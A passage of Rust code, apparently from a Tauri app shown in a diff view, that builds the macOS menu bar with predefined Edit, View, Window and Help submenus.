&PredefinedMenuItem::services(app, None)?,
&PredefinedMenuItem::separator(app)?,
&PredefinedMenuItem::hide(app, None)?,
&PredefinedMenuItem::hide_others(app, None)?,
&PredefinedMenuItem::separator(app)?,
&PredefinedMenuItem::quit(app, None)?,
],
)?,
// `Menu::default()`'s File submenu holds exactly one item on macOS
// -- close_window -- so dropping that item drops the submenu too.
&Submenu::with_items(
app,
"Edit",
true,
&[
&PredefinedMenuItem::undo(app, None)?,
&PredefinedMenuItem::redo(app, None)?,
&PredefinedMenuItem::separator(app)?,
&PredefinedMenuItem::cut(app, None)?,
&PredefinedMenuItem::copy(app, None)?,
&PredefinedMenuItem::paste(app, None)?,
&PredefinedMenuItem::select_all(app, None)?,
],
)?,
&Submenu::with_items(
app,
"View",
true,
&[&PredefinedMenuItem::fullscreen(app, None)?],
)?,
&Submenu::with_id_and_items(
app,
WINDOW_SUBMENU_ID,
"Window",
true,
&[
&PredefinedMenuItem::minimize(app, None)?,
&PredefinedMenuItem::maximize(app, None)?,
],
)?,
// Empty upstream too on macOS: About lives in the app submenu.
&Submenu::with_id_and_items(app, HELP_SUBMENU_ID, "Help", true, &[])?,
],
)
}

Some files were not shown because too many files have changed in this diff Show More